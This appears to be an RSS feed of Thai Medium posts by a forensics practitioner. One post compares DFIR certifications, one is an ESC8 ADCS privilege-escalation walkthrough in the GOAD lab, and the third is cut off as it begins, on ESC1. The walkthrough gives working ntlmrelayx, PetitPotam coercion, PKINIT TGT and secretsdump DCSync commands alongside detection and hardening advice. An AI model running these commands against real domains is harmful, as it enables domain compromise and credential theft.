<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by WIRAPONG PETSHAGUN on Medium]]></title>
        <description><![CDATA[Stories by WIRAPONG PETSHAGUN on Medium]]></description>
        <link>https://medium.com/@huntsman-dfir?source=rss-a0f9fedd36d5------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*GPxIHxg99bEzR9hR22iwFA.jpeg</url>
            <title>Stories by WIRAPONG PETSHAGUN on Medium</title>
            <link>https://medium.com/@huntsman-dfir?source=rss-a0f9fedd36d5------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 21 Nov 2026 09:01:18 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@huntsman-dfir/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Comparing Digital Forensics and Incident Response (DFIR) Certificates]]></title>
            <link>https://huntsman-dfir.medium.com/comparing-digital-forensics-and-incident-response-dfir-certificates-4d337f6f628a?source=rss-a0f9fedd36d5------2</link>
            <guid isPermaLink="false">https://medium.com/p/4d337f6f628a</guid>
            <category><![CDATA[cyber-security-courses]]></category>
            <category><![CDATA[digital-forensics]]></category>
            <category><![CDATA[dfir]]></category>
            <category><![CDATA[cybersecurity-certificate]]></category>
            <category><![CDATA[incident-response]]></category>
            <dc:creator><![CDATA[WIRAPONG PETSHAGUN]]></dc:creator>
            <pubDate>Wed, 24 Jul 2024 14:03:40 GMT</pubDate>
            <atom:updated>2024-07-25T00:44:47.738Z</atom:updated>
            <content:encoded><![CDATA[<p>ในบทความนี้จะเปรียบเทียบ Certificate ในด้านการทำ Digital Forensics and Incident Response หรือ DFIR ที่รับมือการโจมตีทางไซเบอร์ โดยคิดว่าน่าจะเป็นประโยชน์สำหรับให้คนที่สนใจในด้านนี้ตัดสินใจที่จะเลือกสอบ Certificate เพื่อหาความรู้และพัฒนาตัวเอง</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*i9bmzaG8xFDFavoUnnjprA.png" /></figure><p>โดยส่วนตัวผมสอบ Cert ด้าน DFIR มาทั้งหมด 5 ตัว ได้แก่</p><ul><li>GIAC Certified Forensic Analyst (GCFA)</li><li>eLearnSecurity Certified Incident Responder (eCIR)</li><li>eLearnSecurity Certified Threat Hunting Professional (eCTHP)</li><li>Certified CyberDefender (CCD)</li><li>Computer Hacking Forensic Investigator (C|HFI)</li></ul><p>แต่จะยังขาดอีก 2 ค่ายที่ไม่ได้ไปสอบคือ The OffSec Defense Analyst (OSDA) ของ OffSec ที่หลาย ๆ คนน่าจะรู้จักค่ายนี้จาก OSCP และอีกตัวนึงที่ยอดนิยมเช่นเดียวกันคือ Blue Team Level 1/2 ของ Security Blue Team ซึ่งวางแผนไว้ว่าจะลองไปสอบปีหน้า</p><p>อย่างไรก็ตามเพื่อให้เป็นประโยชน์กับคนที่สนใจในด้าน DFIR ผมเลยเอาข้อมูลเปรียบเทียบสำหรับ Certificate ที่ผมเคยสอบมาแชร์ก่อน</p><h4>ตารางเปรียบเทียบ Certificate ด้าน DFIR</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*u8IBw_3MTl_-4ppdh_mpNA.png" /></figure><h4>สรุปภาพรวม</h4><ul><li>GCFA มี Material ดีที่สุดแล้วเนื้อหาแน่น ลงลึก ทุกบรรทัดในหนังสือมีคุณค่า, Lab สนุก, CTF จุก ๆ และสมจริงราคาสูงแต่ส่วนตัวมองว่าคุณภาพมีคุ้มค่าตามราคาครับ</li><li>eCIR เนื้อหาดี แต่อาจจะต้องศึกษาหาข้อมูลอ่านเพิ่มเติมเองเล็กน้อย, ราคาไม่แพง, และตัวนี้เด่นที่ข้อสอบเป็นแบบ Hands-on 100% ต้องเขียน Report ส่งเหมือนการทำงานจริง ไม่มีคำถามที่ชี้นำว่าจะต้องไปดูตรงไหน เหมาะกับคนมีประสบการณ์ด้าน DFIR มาแล้ว ถ้าใครชอบความท้ายทายหรืออยากพิสูจฝีมือตัวเองในการทำ DFIR แนะนำตัวนี้</li><li>eCTHP เหมาะกับคนที่อยากลองทำ Threat hunting, ราคาไม่แพง, ข้อสอบง่ายกว่า eCIR แต่ต้องเขียน Report ส่งแบบละเอียดเหมือนกัน โดยส่วนตัวมองว่าตัวนี้เป็นตัวที่ใช้ฝึกมือก่อนไป eCIR ครับ</li><li>CCD เนื้อหาครบและเรียบเรียงมาค่อนข้างดี อ่านง่าย, ราคาไม่แพง, ระบบ Lab และระบบสอบทำมาดีมาก สามารถเข้าไปใช้เครื่องสอบผ่านหน้าเว็ปได้เลย ลื่นไหล ไม่ต้อง VPN และอันนี้ไม่ต้องเขียน Report ส่ง เพียงแค่เขียนคำตอบและวิธีการวิเคราะห์เท่านั้น</li><li>CHFI เนื้อหาของตัวนี้จะเน้นภาพรวมเยอะหน่อย เหมาะกับผู้ที่เพิ่งเริ่มต้นใหม่และกำลังอยากจะอยากลองศึกษาเกี่ยวกับการทำ DFIR</li></ul><h4>สรุปสั้น ๆ เพื่อตัดสินใจเลือกสอบ​​</h4><ol><li>ถ้ามีประสบการณ์ทำDFIR แล้ว, อยากศึกษาเชิงลึกด้วย Course Material ดีๆ เพื่อล่นระยะเวลาที่ใช้ในการศึกษาเอง, งบไม่จำกัด แนะนำ GCFA</li><li>ถ้ามีประสบการณ์ทำDFIR แล้ว, ศึกษาหาความรู้และต่อยอดเองได้, อยากรู้เกี่ยวกับเทคนิคการโจมตี และวิธีการตรวจจับ รวมถึงเทคนิคการโจมตีพวก AD, อยากทำข้อสอบที่มีความ Challenge แนะนำ eCIR</li><li>ถ้ามีพื้นฐานแล้ว, ศึกษาหาความรู้และต่อยอดเองได้, เริ่มอยากวัดฝีมือ แนะนำ eCTHP</li><li>ถ้ามีประสบการณ์ด้าน Security อยากจะศึกษาเกี่ยวกับการทำ DFIR และอยากลองสอบแบบ Hands-On แนะนำ CCD</li><li>ถ้าไม่มีพื้นฐานด้าน DFIR แนะนำ CHFI</li></ol><h4>เรียงตามความยาก</h4><p>บางท่านอาจจะอยากลองสอบจากตัวที่ง่ายที่สุดก่อนเพื่อเพิ่มความมั่นใจ ซึ่งจากประสบการณ์การสอบที่ผ่านมาผมสรุปข้อมูลได้ดังนี้ (เรียงจากยากสุดไปง่ายสุด):</p><ol><li>GCFA, eCIR</li><li>eCTHP</li><li>CCD</li><li>CHFI</li></ol><h4>บทความรีวิว Certificate แต่ละตัว</h4><p>หากท่านใดอยากอ่านรายละเอียดในเชิงลึกของ Certificate แต่ละตัว ผมรวบรวมรีวิวของคนไทยมาให้แล้วไปอ่านตาม Link ด้านล่างนี้ได้เลยครับ</p><p><strong>eCIR</strong></p><ul><li><a href="https://huntsman-dfir.medium.com/elearnsecurity-certified-incident-responder-ecir-review-82622c1ec2b6">รีวิว eCIR โดยคุณ Wirapong Petshagun</a></li></ul><p><strong>eCTHPv2</strong></p><ul><li><a href="https://so-sonajaa.medium.com/review-exam-certified-threat-hunting-professional-ecthpv2-ddbaea628811">รีวิว eCTHP โดยคุณ Sopon</a></li><li><a href="https://blog.snoopbees.com/echtpv2-review-by-pen-tester-18629bf91dca">รีวิว eCTHP โดยคุณ Monkey D Ouy</a></li></ul><p><strong>CCD</strong></p><ul><li><a href="https://medium.com/%40iCreaM/%E0%B8%A3%E0%B8%B5%E0%B8%A7%E0%B8%B4%E0%B8%A7%E0%B8%84%E0%B8%AD%E0%B8%A3%E0%B9%8C%E0%B8%AA%E0%B9%81%E0%B8%A5%E0%B8%B0%E0%B8%81%E0%B8%B2%E0%B8%A3%E0%B8%AA%E0%B8%AD%E0%B8%9A-ccd-certification-3299962e002e">รีวิว CCD โดยคุณ Varakorn Chanthasri</a></li><li><a href="https://medium.com/@seanmine/%E0%B8%A3%E0%B8%B5%E0%B8%A7%E0%B8%B4%E0%B8%A7-certified-cyber-defenders-ccd-%E0%B9%81%E0%B8%9A%E0%B8%9A%E0%B8%AA%E0%B8%B1%E0%B9%89%E0%B8%99%E0%B9%86-d49d092d787e">รีวิว CCD โดยคุณ Makara Sakolvaree</a></li></ul><p><strong>BTL1</strong></p><ul><li><a href="https://suksit.com/posts/btl1-certification-review/">รีวิว BTL1 โดยคุณ Suksit</a></li><li><a href="https://so-sonajaa.medium.com/subject-review-exam-certificate-btl1-99af36ece7f6">รีวิว BTL1 โดยคุณ Sopon</a></li><li><a href="https://medium.com/%40iCreaM/%E0%B8%A3%E0%B8%B5%E0%B8%A7%E0%B8%B4%E0%B8%A7%E0%B8%84%E0%B8%AD%E0%B8%A3%E0%B9%8C%E0%B8%AA%E0%B9%81%E0%B8%A5%E0%B8%B0%E0%B8%81%E0%B8%B2%E0%B8%A3%E0%B8%AA%E0%B8%AD%E0%B8%9A-btl1-certification-b6d616ac6e71">รีวิว BTL1 โดยคุณ Varakorn Chanthasri</a></li></ul><p><strong>BTL2</strong></p><ul><li><a href="https://medium.com/%40iCreaM/%E0%B8%A3%E0%B8%B5%E0%B8%A7%E0%B8%B4%E0%B8%A7%E0%B8%84%E0%B8%AD%E0%B8%A3%E0%B9%8C%E0%B8%AA%E0%B9%81%E0%B8%A5%E0%B8%B0%E0%B8%81%E0%B8%B2%E0%B8%A3%E0%B8%AA%E0%B8%AD%E0%B8%9A-btl2-certification-b5d3be1c5fa3">รีวิว BTL2 โดยคุณ Varakorn Chanthasri</a></li><li><a href="https://medium.com/@suratose/%E0%B8%84%E0%B8%B3%E0%B9%81%E0%B8%99%E0%B8%B0%E0%B8%99%E0%B8%B3%E0%B8%AA%E0%B8%B3%E0%B8%AB%E0%B8%A3%E0%B8%B1%E0%B8%9A%E0%B8%84%E0%B8%99%E0%B8%97%E0%B8%B5%E0%B9%88%E0%B8%AA%E0%B8%99%E0%B9%83%E0%B8%88%E0%B8%AA%E0%B8%AD%E0%B8%9A-blue-team-security-level-2-btl2-1ebc3204169e">รีวิว BTL2 โดยคุณ Suratose Tritilanunt</a></li><li><a href="https://blackb0lt.medium.com/blue-team-security-level-2-btl2-certification-course-%E0%B8%9A%E0%B8%AD%E0%B8%81%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%B2%E0%B8%AA%E0%B8%B9%E0%B9%88%E0%B8%81%E0%B8%B1%E0%B8%99%E0%B8%9F%E0%B8%B1%E0%B8%87-1284a430fac0">รีวิว BTL2 โดยคุณ Sittikorn</a></li></ul><h4>ปิดท้ายด้วย Meme</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/797/1*DJWSgK7zingktQ0tt6FxVw.png" /></figure><p>หวังว่าบทความนี้จะเป็นประโยชน์ต่อทุกคนที่สนใจจะสอบ Certificate ที่เกี่ยวกับการทำ DFIR และหากผมได้สอบตัวอื่นเมื่อไรจะเอาข้อมูลมาอัพเดทให้ทุกคนได้อ่านกันนะครับ</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4d337f6f628a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Privilege Escalation via NTLM Relay to ADCS HTTP Enrollment (ESC8) — จุ่ม ADCS ตอนที่ 2]]></title>
            <link>https://huntsman-dfir.medium.com/privilege-escalation-via-ntlm-relay-to-adcs-http-enrollment-esc8-%E0%B8%88%E0%B8%B8%E0%B9%88%E0%B8%A1-adcs-%E0%B8%95%E0%B8%AD%E0%B8%99%E0%B8%97%E0%B8%B5%E0%B9%88-2-790b7d226909?source=rss-a0f9fedd36d5------2</link>
            <guid isPermaLink="false">https://medium.com/p/790b7d226909</guid>
            <category><![CDATA[cad]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[certificate-services]]></category>
            <category><![CDATA[esc8]]></category>
            <category><![CDATA[active-directory]]></category>
            <dc:creator><![CDATA[WIRAPONG PETSHAGUN]]></dc:creator>
            <pubDate>Sat, 30 Mar 2024 14:14:40 GMT</pubDate>
            <atom:updated>2024-03-30T14:18:56.077Z</atom:updated>
            <content:encoded><![CDATA[<h3>Privilege Escalation via NTLM Relay to ADCS HTTP Enrollment (ESC8) — จุ่ม ADCS ตอนที่ 2</h3><p>หลังจากที่ได้เรียนรู้เทคนิคการยกสิทธิ์ด้วย ESC1 โดยการขอ Certificate template ที่มีช่องโหว่ในตอนที่ 1 มาแล้ว (ใครยังไม่อ่านตามไปอ่านได้)ในตอนนี้เราจะมาลองยกสิทธิ์ด้วยอีกเทคนิคที่เรียกว่า ESC8 กัน</p><p><a href="https://huntsman-dfir.medium.com/privilege-escalation-via-vulnerable-certificate-template-esc1-%E0%B8%88%E0%B8%B8%E0%B9%88%E0%B8%A1-adcs-%E0%B8%95%E0%B8%AD%E0%B8%99%E0%B8%97%E0%B8%B5%E0%B9%88-1-40b3123b0d46">Privilege Escalation via Vulnerable Certificate Template (ESC1) — จุ่ม ADCS ตอนที่ 1</a></p><p>โดย ESC8 ไม่ได้อาศัยการยกสิทธิ์ผ่าน Certificate Template ที่มีช่องโหว่แบบ ESC1 แต่เป็นการยกสิทธิ์โดยการโจมตีบังคับให้ Domain Controller ทำการ Authentication ไปยังเครื่องผู้โจมตีควบคุมจากนั้น Relay NTLM ไปยัง ADCS Web Enrollment เพื่อขอ Certificate และนำมาใช้ในการขอ TGT เพื่อเข้าถึงเครื่องอื่นๆ ต่อ</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/680/0*2dr0dU6XYIh22fxI.jpg" /></figure><p>เอาล่ะมาเริ่มกันเลยดีกว่า โดยก่อนอื่นเราจะต้องทำความรู้จักกับ ADCS Web Enrollment และ Relay attack ก่อน</p><h3>ADCS Web Enrollment</h3><p>Web enrollment เป็นอีกหนึ่ง Feature บน ADCS ที่อนุญาตให้ผู้ร้องขอสามารถทำการร้องขอ Certificate ผ่าน Web interface ได้ โดยการเปิดใช้งาน Web Enrollment บน ADCS นั้นมีอยู่สองรูปแบบคือ แบบเข้ารหัส (HTTPS) และแบบไม่เข้ารหัส (HTTP)</p><p>ซึ่งหากใช้งานในรูปแบบของที่ไม่ได้มีการเข้ารหัส จะทำให้ถูกการโจมตีด้วยเทคนิคที่เรียกว่า Relay attack ได้</p><h3>NTLM Relay attack</h3><p>การทำ NTLM Relay attack เป็นการโจมตีโดยดัก Authentication traffic เพื่อปลอมแปลงว่าตนเองนั้นเป็นผู้ร้องขอ และส่ง Authentication traffic ไปให้ปลายทางอีกที ซึ่งโดยปกติการที่จะทำ NTLM Relay ได้นั้น ผู้โจมตีจะต้องยึดเครื่องหรือเข้าถึง Network ภายในให้ได้ก่อน เพื่อที่จะใช้สำหรับควบคุมให้ Traffic นั้นวิ่งไป Authen ที่ปลายทางที่ต้องการ ตามภาพด้านล่าง</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*fJzVnL7YLhl2CsRL.png" /><figcaption><a href="https://medium.com/@paritoshblogs/the-dark-art-of-ntlm-relay-attacks-5a55cfb95b37">https://medium.com/@paritoshblogs/the-dark-art-of-ntlm-relay-attacks-5a55cfb95b37</a></figcaption></figure><h3>Privilege Escalation via NTLM Relay to ADCS HTTP Enrollment (ESC8)</h3><p>เอาละหลังจากที่รู้จักกับ ADCS Web Enrollment และ Relay attack แล้ว เรามาดูขั้นตอนการโจมตีด้วย ESC8 กันดีกว่า</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fUxtfuqWZG5ID6dmsN7-cg.png" /><figcaption>Source: Crowe analysis, June 2023</figcaption></figure><ol><li>ใช้ช่องโหว่หรือเทคนิคเพื่อบังคับให้ Machine/User ที่มีสิทธิ์สูงทำการ Authentication มายังเครื่องที่ผู้โจมตีควบคุม</li><li>Machine/User ที่มีสิทธิ์สูงทำการ Authentication มายังเครื่องที่ผู้โจมตีควบคุม</li><li>โดยผู้โจมตีเครื่องที่ควบคุมจะเปิด Listener รอไว้เพื่อ Relay NTLM Authentication ไปที่ ADCS เพื่อขอ Certificate ผ่าน HTTP Web Enrollment</li><li>ADCS ส่ง Certificate กลับมาให้</li><li>ผู้โจมตีนำ Certificate ของ Machine/User สิทธิ์สูงที่ได้มาไปขอ TGT</li><li>ผู้โจมตีได้รับ TGT แล้วนำไปใช้งานต่อ</li></ol><h3>Red Team Start:</h3><h4>มาเริ่มยกสิทธิ์ด้วย ESC8 กัน</h4><p>มาเริ่มโจมตีกันเลย โดยผมจะใช้ GOAD Lab เหมือนเดิม และจำลองสถานการณ์ว่ายึด Low privilege Account (missandei@essos.local) ได้แล้ว</p><blockquote><strong><em>#Compromised Account</em></strong><em><br>Username: missandei@essos.local<br>Password: dr3edom</em></blockquote><blockquote><em>CA: braavos.essos.local (192.168.56.23)<br>DC: meereen.essos.local (192.168.56.12)</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*vU8k_9OwQmps5ofZ.png" /></figure><h4>Enumeration</h4><p>อย่างแรกที่จะต้องทำคือหาข้อมูลก่อนว่ามี CA Server ที่เปิด HTTP Enrollment ไว้หรือไม่ โดยการใช้ certipy</p><pre># certipy find -u &lt;username&gt; -p &lt;password&gt;<br>certipy find -u missandei@essos.local -p ‘fr3edom’</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/495/1*-E1jsiC9UE6nYK3dVOO-Eg.png" /></figure><p>จะพบว่า CA Server ชื่อ ESSOS-CA มีการเปิด Web Enrollment service ไว้</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/652/1*VduXRH8AqQanY3w3GD6vVw.png" /></figure><p>จากนั้นลองทดสอบเข้าไปที่ Default path (/certsrv/certfnsh.asp) เพื่อดูว่าสามารถ Enroll ด้วย HTTP ได้หรือไม่</p><pre>http://192.168.56.23/certsrv/certfnsh.asp</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zK6_X8sQXdK_JE4diScM8g.png" /></figure><p>และก่อนที่จะไปทำ Relay attack เราจะต้องหา Certificate template ที่เป้าหมายเราจะสามารถ Enroll ได้สะก่อน โดยในการโจมตีนี้จะลองบังคับให้ Domain Controller มา Authen ดังนั้น Certificate template จะต้องมีการ Config ไว้ดังนี้</p><ol><li>Certificate template จะต้องอนุญาตให้ Domain controller มา Enroll ได้</li><li>Certificate template จะต้องระบุ EKU ว่าให้สามารถใช้ในการ Authen ได้ด้วย เพราะเดี๋ยวจะต้องเอาไปขอ TGT ต่อ</li></ol><p>ซึ่งผมเลือก Template: DomainController มาเพราะมี config ตรงตามที่ต้องการจะใช้</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/554/1*HuNBgfN49IrfvJ0BRFXN2A.png" /></figure><h4>NTLM Relay</h4><p>ต่อมาเราจะเริ่มโจมตีตาม Flow ในภาพด้านล่าง</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QRnrXfqxf7sATXMb7J05pw.png" /></figure><p>เริ่มจากรัน ntlmrelayx บนเครื่องที่โจมตีควบคุม (อย่าลืมว่าเครื่องต้องคุยกับ DC ที่เราจะบังคับมา Authen ได้ด้วย) โดยจะต้องระบุเป้าหมายที่เราต้องการให้ Relay ไปคือ URL ของ ADCS Web Enrollment และระบุ Certificate template ที่ต้องการคือ DomainController</p><blockquote>หากเป็นสถานการณ์ที่ยึดเครื่องได้อาจจะใช้ C2 implant ในการเปิด SOCKS และใช้ ntlmrelayx ร่วมกับ proxychains นอกจากนี้จะต้องใช้ Portbender และ rportfwd ร่วมด้วย เพื่อให้ Authentication Traffic ส่งจากเครื่องที่ยึดได้ไปถึง C2 serverสามารถดูเพิ่มเติมได้จาก <a href="https://github.com/praetorian-inc/PortBender">https://github.com/praetorian-inc/PortBender</a></blockquote><pre># ntlmrelayx.py -t &lt;adcs_http-enrollment_url&gt; -smb2supportadcs -template &lt;template_name&gt;<br>ntlmrelayx.py -t http://192.168.56.23/certsrv/certfnsh.asp -smb2support --adcs --template DomainController</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/976/1*Bxr6LElmMp35IXBMcM8mWw.png" /></figure><h4>Coerce DC to Authenticate</h4><p>จากนั้นทำการบังคับให้ Domain Controller มา Authen ที่เครื่องที่ผู้โจมตีคุมได้ โดยใช้ <a href="https://github.com/topotam/PetitPotam">PetitPotam</a> สำหรับการโจมตีด้วย <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-36942">CVE-2021–36942</a> ซึ่งเป็นการโจมตี Encrypting File System (EFS) API ผ่าน LSARPC interface</p><pre># python3 PetitPotam.py -u &lt;username&gt; -p &lt;password&gt; &lt;attacker_ip&gt; &lt;DC_ip&gt;<br>python3 PetitPotam.py -u missandei@essos.local -p ‘fr3edom’ 172.27.234.3 192.168.56.12</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/804/1*KU61_UdDlyIGKvGCWlRxvg.png" /></figure><p>จากนั้นจะได้ Certificate มาซึ่งเป็นในนามของ Machine Account ของ Domain Controller !!!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/799/1*a1bQI9CnnvucGpfhKgdtyA.png" /></figure><h4>Get TGT</h4><p>จากนั้นนำ Certificate ที่ได้ไปใช้ Authen ที่ DC เพื่อขอ TGT มาใช้งานต่อโดยใช้ <a href="https://github.com/dirkjanm/PKINITtools">PKINITtools</a></p><pre># python3 gettgtpkinit.py -pfx-base64 $(cat &lt;cert&gt;) &#39;&lt;dc_machine-account&gt;&#39; &lt;outfile&gt;<br>python3 gettgtpkinit.py -pfx-base64 $(cat cert.b64) ‘essos.local/MEEREEN$’ meereen.ccache</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/898/1*gAyCktclFqBkUW4kT1rMrA.png" /></figure><p>แล้วก็ลอง DCSync ดูสะหน่อย</p><pre># export KRB5CCNAME=&lt;TGT_ccache_file&gt;<br>export KRB5CCNAME=administrator.ccache<br># impacket-secretsdump -k -no-pass @&lt;dc_hostname&gt;<br>impacket-secretsdump -k -no-pass @meereen.essos.local</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/803/1*JmpA50a7MQd6C5mMAqMfNw.png" /></figure><h3>Blue Team Stop:</h3><h4>การตรวจจับการโจมตี</h4><p>เราสามารถตรวจจับได้จากสองขั้นตอนของการโจมตีคือ</p><p>1. ตรวจจับจากตอนที่ผู้โจมตีทำการร้องขอ Certificate ผ่าน ADCS Web Enrollment</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/880/1*HsPuN4XarldtFRD-U4oasw.png" /></figure><p>ซึ่ง ADCS Web Enrollment จะให้บริการโดย IIS Webserver ดังนั้นเราสามารถตรวจจับจาก Access log ของ IIS ได้ โดย Default จะเก็บอยู่ใน C:\inetpub\logs\LogFiles\</p><p>โดยตัวอย่างตรวจจับยกตัวอย่างเช่น</p><ul><li>ตรวจจับจาก Source IP แปลก ๆ ที่โดยปกติแล้วไม่ได้มา Enroll certificate ที่ Web enrollment service หรือไม่อยู่ใน Whitelist ที่กำหนดไว้</li><li>ตรวจจับจาก User agent แปลก ๆ</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1rJwEy9mMRFd4qAdMZkhQw.png" /></figure><p>2. ตรวจจับตอนที่ผู้โจมตีนำ Certificate ไป Authen ที่ AD เพื่อขอ TGT (เหมือนกับ ESC1)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/880/1*FNdLREfMxxat3GFnf8BLaw.png" /></figure><p>โดยการตรวจจับจะตรวจจับจาก</p><ul><li>Event ID: 4768 (TGT was requested)</li><li>Pre-Authentication Type: 16 (PKINIT request)</li><li>TicketOptions: 0x4080 (Hard coded in multiple attacker tools)</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/578/1*mxe_7oCMvVQLfeitJdmKRw.png" /></figure><h4>การรับมือเมื่อถูกโจมตี</h4><p>วิธีการรับมือ ESC8 ก็เหมือนกันกับ ESC1 ที่ผมได้เคยเขียนไปเมื่อตอนที่แล้วเลย ใครยังไม่เคยอ่าน ตามไปอ่านได้</p><p><a href="https://huntsman-dfir.medium.com/privilege-escalation-via-vulnerable-certificate-template-esc1-%E0%B8%88%E0%B8%B8%E0%B9%88%E0%B8%A1-adcs-%E0%B8%95%E0%B8%AD%E0%B8%99%E0%B8%97%E0%B8%B5%E0%B9%88-1-40b3123b0d46">Privilege Escalation via Vulnerable Certificate Template (ESC1) — จุ่ม ADCS ตอนที่ 1</a></p><h4>การ Config เพื่อไม่ให้ถูกโจมตี</h4><ul><li>ปิด ADCS Web Enrollment หากไม่จำเป็นต้องใช้งาน</li><li>ปิด NTLM Authentication หากไม่จำเป็นต้องใช้งาน โดยสามารถปิดได้สองที่คือที่ GPO บนเครื่อง ADCS หรือปิดที่ IIS (เนื่องจาก Web Enrollment ทำงานบน IIS)</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/821/1*b0bt4jTi2ohP2xLPl2Maxw.png" /></figure><ul><li>หากจำเป็นต้องใช้งาน Web Enrollment พิจารณาเปิดใช้งาน HTTPS แทน HTTP และเปิด <a href="https://support.microsoft.com/en-gb/topic/kb5005413-mitigating-ntlm-relay-attacks-on-active-directory-certificate-services-ad-cs-3612b773-4043-4aa9-b23d-b87910cd3429">Extended Protection for Authentication (EPA)</a> เพื่อป้องกัน NTLM Relay Attack</li><li>Update patch เพื่อปิดช่องโหว่ต่าง ๆ ที่ใช้สำหรับโจมตีเพื่อบังคับ Authentication</li></ul><h3>สรุป</h3><p>แม้ว่าเราจะ Config ในส่วนของ Certificate template ให้มีความปลอดภัยจาก ESC1 แล้ว ก็อาจจะยังไม่รอดจากการโจมตีหากใช้งาน Service อื่น ๆ ของ ADCS เช่น Web Enrollment แล้ว Config ได้หละหลวมหรือไม่ดีพอ รวมถึงไม่ได้มีการอัพเดท Patch ด้านความปลอดภัย ก็อาจจะโดนโจมตีในรูปแบบของ ESC8 และในรูปแบบอื่น ๆ ได้เช่นเดียวกัน (ถ้ามีเวลาว่างจะมาเขียนต่อ)</p><p>สุดท้ายนี้ก็ขอขอบคุณผู้ที่เข้ามาอ่าน/งง ทุกท่านครับ หากมีข้อมูลผิดพลาดประการใดขออภัยด้วยครับ</p><h3>Reference</h3><ul><li><a href="https://posts.specterops.io/certified-pre-owned-d95910965cd2">https://posts.specterops.io/certified-pre-owned-d95910965cd2</a></li><li><a href="https://www.socstories.blog/detecting-adcs-attacks/">https://www.socstories.blog/detecting-adcs-attacks/</a></li><li><a href="https://github.com/Orange-Cyberdefense/GOAD">https://github.com/Orange-Cyberdefense/GOAD</a></li><li><a href="https://github.com/ly4k/Certipy">https://github.com/ly4k/Certipy</a></li><li><a href="https://www.crowe.com/cybersecurity-watch/exploiting-ad-cs-a-quick-look-at-esc1-esc8">https://www.crowe.com/cybersecurity-watch/exploiting-ad-cs-a-quick-look-at-esc1-esc8</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=790b7d226909" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Privilege Escalation via Vulnerable Certificate Template (ESC1) — จุ่ม ADCS ตอนที่ 1]]></title>
            <link>https://huntsman-dfir.medium.com/privilege-escalation-via-vulnerable-certificate-template-esc1-%E0%B8%88%E0%B8%B8%E0%B9%88%E0%B8%A1-adcs-%E0%B8%95%E0%B8%AD%E0%B8%99%E0%B8%97%E0%B8%B5%E0%B9%88-1-40b3123b0d46?source=rss-a0f9fedd36d5------2</link>
            <guid isPermaLink="false">https://medium.com/p/40b3123b0d46</guid>
            <category><![CDATA[vulnerable-certificate]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[esc1]]></category>
            <category><![CDATA[cad]]></category>
            <dc:creator><![CDATA[WIRAPONG PETSHAGUN]]></dc:creator>
            <pubDate>Sat, 23 Mar 2024 16:41:38 GMT</pubDate>
            <atom:updated>2024-03-24T08:18:25.084Z</atom:updated>
            <content:encoded><![CDATA[<h3>Privilege Escalation via Vulnerable Certificate Template (ESC1) — จุ่ม ADCS ตอนที่ 1</h3><p>สำหรับคนที่ทำงานในสายเจาะระบบโดยการทำ Red teaming หรือการโจมตีในระดับ Enterprise โดยส่วนมากจะรู้จักกับการโจมตี Active Directory (AD) เพื่อยกสิทธิ์โดยใช้เทคนิคต่าง ๆ เช่น การทำ Kerberoasting, AS-REP Roasting, Shadow Credentials และอื่น ๆ</p><p>นอกเหนือจาก AD แล้วยังจะมีอีกหนึ่ง Component ที่ใช้งานกันในองค์กรต่าง ๆ ด้วยคือ Active Directory Certificate Service (ADCS) ซึ่งเป็นอีกหนึ่งเป้าหมายที่ใช้ในการยกสิทธิ์ได้เช่นเดียวกัน โดยวันนี้เราจะมาทำความรู้จักกับ ADCS และลองทำการโจมตีกัน</p><blockquote>โดยเนื้อหาหลัก ๆ จะมาจาก Certified Pre-Owned ที่เขียนโดย <a href="https://twitter.com/harmj0y">Will Schroeder</a> and <a href="https://twitter.com/tifkin_">Lee Christensen</a> หากใครสนใจอยากลงลึกไปตามอ่านที่ Whitepaper กันได้ครับ</blockquote><p><a href="https://posts.specterops.io/certified-pre-owned-d95910965cd2">Certified Pre-Owned</a></p><h3>ทำความรู้จักกับ ADCS</h3><h4>Active Directory Certificate Service (ADCS) คืออะไร 